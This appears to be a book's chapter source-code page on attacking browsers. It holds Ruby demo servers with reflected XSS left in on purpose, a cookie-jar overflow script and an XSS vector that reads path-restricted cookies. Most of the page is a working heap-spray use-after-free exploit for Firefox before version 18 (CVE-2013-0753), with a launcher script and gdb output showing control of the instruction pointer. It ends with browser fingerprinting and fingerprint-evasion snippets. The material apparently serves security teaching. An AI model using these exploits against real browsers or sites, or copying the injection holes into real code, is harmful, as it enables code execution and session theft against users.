BHH logo

Ch6 Source Code - Attacking Browsers


Bypassing HTTPS - login XSS demo

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'json'

class InjectDemo < Sinatra::Base
  get "/" do
    lang = request['lang'] || "en_US";
"
<div align=center>
To login, go to our secure login page at
<A HREF='https://servervictim.com/login?lang=#{lang}'>
https://servervictim.com/login</A>
</div>"
  end
end

@routes = {
    "/" => InjectDemo.new
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("servervictim.com", 4000, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start

Bypassing Cookie protections - overflowing the cookie jar

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'json'

class CookieDemo < Sinatra::Base
  get "/" do
    link_url = "http://www.google.com"
    if !request.cookies['link_url'] then
       response.set_cookie "link_url", {:value => link_url, :httponly => true}
    else
       link_url = request.cookies['link_url']
    end
'<A HREF="' + link_url + '">Secret Login Page</A>
<script>
function setCookie()
{
	document.cookie = "link_url=http://blog.browserhacker.com";
	alert("Single cookie sent");
}
function setCookies()
{
	var i = 0;
	while (i < 200)
	{
		kname = "test_COOKIE" + i;
		document.cookie = kname + "=test";
		i = i + 1;
	}
	document.cookie = "link_url=http://browserhacker.com";
	alert("Overflow Executed");
}
</script>
<BR>
<input type=button value="Attempt Change" onclick="setCookie()"><BR>
<input type=button value="Spam Cookies" onclick="setCookies()">
'

  end
end

@routes = {
    "/" => CookieDemo.new
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("browserhacker.com", 4000, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start


Bypassing Cookie protections - bypassing path attribute restrictions

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'json'

# iframe=document.createElement('iframe');
# iframe.src='http://browserhacker.com:4000/checkout';
# iframe.onload=function(){
#   alert(iframe.contentWindow.document.cookie);
# };
# document.body.appendChild(iframe);

# Exploit (vector for test param):
#/?test=hi<script>iframe=document.createElement('iframe')%3biframe.src='http://browserhacker.com:4000/checkout'%3biframe.onload=function(){alert(iframe.contentWindow.document.cookie)}%3bdocument.body.appendChild(iframe)</script>

class CookieDemo < Sinatra::Base
  get "/" do
    response.set_cookie "parent_cookie", {:value => 'yes',
      :domain => 'browserhacker.com', 
      :path => '/' }
      result = "<h1>Home page</h1>"
     if params['test'] != nil
     	    result += "<br>Test parameter: " + params['test']
     end
     result
  end

  get "/checkout" do
    response.set_cookie "checkout_cookie",
        {:value => 'RESTRAINED TO THIS PATH',
         :domain => 'browserhacker.com', 
         :path => '/checkout' }
    "<h1>Checkout page</h1>"
  end

end

@routes = {
    "/" => CookieDemo.new
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("browserhacker.com", 4000, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start

Bypassing Cookie protections - understanding the structure

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'
require 'json'

class CookieDemo < Sinatra::Base
  get "/" do
    response.set_cookie "session_cookie", {:value => 'yes',:domain => 'browserhacker.com', 
      :path => '/' ,  :httponly => false}
    response.set_cookie "persistent_cookie", {:value => 'yes', :domain => 'browserhacker.com', 
      :path => '/' , :httponly => false, :expires => Time.now + (60 * 60 * 7) }
    "\n" +  request.cookies.to_json + "\n\n"
  end
end

@routes = {
    "/" => CookieDemo.new
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("browserhacker.com", 4000, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start

Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753) - HTML code

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
    <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" /> 
    <title>Mozilla Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753)</title>
    <script type="text/javascript" src="CVE-2013-0753.js"></script>
</head>
<body onload="exploit();">
</body>
</html>

Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753) - JavaScript code

// Mozilla Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753)
// Part of AthCon 2013 Firefox exploitation material
// argp <[email protected]>, huku <[email protected]>
//
// Based on the work submitted to ZDI by regenrecht <[email protected]>
//
// For more information, have a look at the links below:
// http://www.mozilla.org/security/announce/2013/mfsa2013-16.html
// https://bugzilla.mozilla.org/show_bug.cgi?id=814001

// Size and number of allocations to perform during first stage heap spraying.
// This stage targets the class pointed to by `mNextSibling' of an instance of
// `nsHTMLElement'.
BIG_SPRAY_SZ = 65534;     // XXX: Upper limit of `SpiderMonkey' string length?
BIG_SPRAY_NUM = 1 << 11;

// Second stage heap spraying should reach this address.
NEXT_SIBLING_HIGH = 0x00000001;
NEXT_SIBLING_LOW  = 0x17012000;

// Set the instruction pointer to this value.
RIP_HIGH = 0x41424344;
RIP_LOW  = 0x45464748;

// Number of allocations to perform during second stage heap spraying. 
// This stage targets an instance of `HTMLElement'.
SMALL_SPRAY_NUM = 1 << 21;

// Number of DOM children to create that will trigger the UAF.
NUM_CHILDREN = 64;

// See `trigger_gc()' for this one.
GC_TRIGGER_THRESHOLD = 100000;


// Pad `str' to the left using character `pad' up to `length' characters.
function lpad(str, pad, length)
{
    while(str.length < length)
        str = pad + str;
    return str;
}

// Doubleword to little endian unicode string.
function get_dwle(dw)
{
    wh = lpad(((dw >> 16) & 0xffff).toString(16), "0", 4);
    wl = lpad((dw & 0xffff).toString(16), "0", 4);

    escaped = "%u" + wl + "%u" + wh;
    return unescape(escaped);
}

// Quadword to little endian unicode string (due to limited precision, we can't
// pass this function a 64bit integer, we use two doublewords instead).
function get_qwle(dwh, dwl)
{
    return get_dwle(dwl) + get_dwle(dwh);
}

// Essential part of all heap spraying codes :p
function generate(pad, len) 
{
    while(pad.length < len / 2)
        pad += pad;

    return pad.substring(0, (len / 2) - 1);
}

// Trigger the garbage collector.
function trigger_gc()
{
    var gc = [];
    
    for(i = 0; i < GC_TRIGGER_THRESHOLD; i++)
    {
        gc[i] = new Array();
    }

    return gc;
}


// The entry point of the exploit.
function exploit()
{
    var container_1 = [];
    var container_2 = [];


    ////////// HEAP SPRAYING STAGE ONE //////////

    var buf = "";

    // The value of `rax' in `callq *0x5f8(%rax)'.
    buf += get_qwle(NEXT_SIBLING_HIGH, NEXT_SIBLING_LOW);

    // Flags checked at `testb $0x8, 0x2c(%r14)'.
    buf += unescape("%u8888%u8888%u8888%u8888");
    buf += unescape("%u8888%u8888%u8888%u8888");

    // Value of `rip', should be at `%rax + 0x5f8'
    buf += get_qwle(RIP_HIGH, RIP_LOW);

    buf = generate(buf, BIG_SPRAY_SZ);
    for(i = 0; i < BIG_SPRAY_NUM; i++)
        container_1[i] = buf.toLowerCase();


    ////////// HEAP SPRAYING STAGE TWO //////////

    // Creates heap holes of size `sizeof(HTMLElement)'.
    // `mozilla-central/content/html/content/src/HTMLElement.cpp#13'

    // `15 * 8 = 120' bytes.
    buf = "";
    for(i = 0; i < 15; i++)
        buf += get_qwle(NEXT_SIBLING_HIGH, NEXT_SIBLING_LOW);

    // Extra 6 bytes plus 2 for an implicit `%u0000' for a total of 128. 
    buf += unescape("%u4141%u4141%u4141");
    buf = buf.substring(0,  128 / 2 - 1);

    // Perform several allocations.
    for (i = 0; i < SMALL_SPRAY_NUM; i++)
        container_2[i] = buf.toLowerCase();

    // Free every other allocation to create holes.
    for(i = 0; i < SMALL_SPRAY_NUM; i += 2)
    {
        delete container_2[i];
        container_2[i] = null;
    }

    // Make sure the holes are physically deallocated.
    trigger_gc();


    ////////// FILL HEAP HOLES //////////

    var parent = document.createElement("parent");
    var children = [];

    // XXX: `regenrecht' uses `text' to assign attribute `foo' to the children 
    // nodes. Do we really need it?
    var text = 'x';
    while(text.length <= 1024)
        text += text;

    // Each call to `createElement()' allocates an `HTMLElement'. These regions
    // will most likely fall within the holes we created in the previous step.
    for(i = 0; i < NUM_CHILDREN; i++)
        children[i] = document.createElement("child_" + i);

    for(i = 0; i < NUM_CHILDREN; i++)
        parent.appendChild(children[i]);

    for(i = 0; i < NUM_CHILDREN; i++)
        children[i].setAttribute("foo", text);


    ////////// TRIGGER THE USE AFTER FREE //////////

    var s = new XMLSerializer();

    var stream = 
    {
        write: function() 
        {
            // Remove children and trigger the garbage collector. This will 
            // create some heap holes within the chunks we control.
            for (i = 0; i < NUM_CHILDREN; i++)
            {
                parent.removeChild(children[i])
                delete children[i];
                children[i] = null;
            }
      
            trigger_gc();
      
            // Take control of the holes created above (`buf' still holds the 
            // required data).
            for (i = 0; i < SMALL_SPRAY_NUM; i += 2)
              container_2[i] = buf.toLowerCase();
        }
    };

    s.serializeToStream(parent, stream, "UTF-8");


    // Not sure if we really need this. Make sure `container_1[]' is not 
    // optimized away or garbage collected before we get here.
    for(i = 0; i < container_1.length; i++)
        container_1[i] = null;

    // Same for `container_2[]'.
    for(i = 0; i < container_2.length; i++)
        container_2[i] = null;
}

// EOF

Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753) - gdbinit_firefox code

exec-file /Applications/Firefox-17.app/Contents/MacOS/firefox
run -jsconsole /tmp/CVE-2013-0753.html

Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753) - poc.sh code

cp CVE-2013-0753.* /tmp
export MOZ_CRASHREPORTER_DISABLE=1
gdb -q -x gdbinit_firefox

Firefox < 18.0 XMLSerializer UAF (CVE-2013-0753) - README

Run ./poc.sh and you'll see the GDB output shown below:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: 13 at address: 0x0000000000000000
0x0000000101443d8f in mozilla::scache::PathifyURI ()
(gdb) info r
rax            0x117012000	4680916992
rbx            0x117012000	4680916992
rcx            0x7fff5fbfb5e8	140734799787496
rdx            0x1039f14a0	4355724448
rsi            0x0	0
rdi            0x117012000	4680916992
rbp            0xffffffff	0xffffffff
rsp            0x7fff5fbfb120	0x7fff5fbfb120
r8             0x7fff5fbfb5e8	140734799787496
r9             0x117012000	4680916992
r10            0x130701260	5107618400
r11            0x13c400f30	5305798448
r12            0x7fff5fbfb367	140734799786855
r13            0x0	0
r14            0x7fff5fbfb5e8	140734799787496
r15            0x1121b2c80	4598738048
rip            0x101443d8f	0x101443d8f <mozilla::scache::PathifyURI(nsIURI*, nsACString_internal&)+3219295>
eflags         0x10246	66118
cs             0x27	39
ss             0x0	0
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

Firefox crashes at the instruction shown below:

(gdb) x/i $rip
0x101443d8f <_ZN7mozilla6scache10PathifyURIEP6nsIURIR19nsACString_internal+3219295>:	callq  *0x5f8(%rax)

We control the RIP value:

(gdb) x/2dwx $rax+0x5f8
0x1170125f8:	0x45464748	0x41424344
(gdb) q


DOM Fingerprinting Evasion - emulating Opera

<html>
<head>
<script>
// with the following, the !!window.opera check returns true
var opera = {isOpera: true}
window.opera = opera;

/*
>window.opera
Object {isOpera: true}

>!!window.opera
true
*/
</script>
</head>
<body></body>
</html>


Fingerprint Firefox

<HTML>
<BODY>
<SCRIPT>
function fingerprint_FF(){
    result = "Unknown";
    if(!!window.crypto.getRandomValues) {
        result = "21+";
    }else{
        if(!!window.devicePixelRatio){
            result = "18+";
        }else{
            result = "-17";
        }
    }
    alert(result);
}

fingerprint_FF();
</SCRIPT>
</BODY>
</HTML>

jemalloc Feng Shui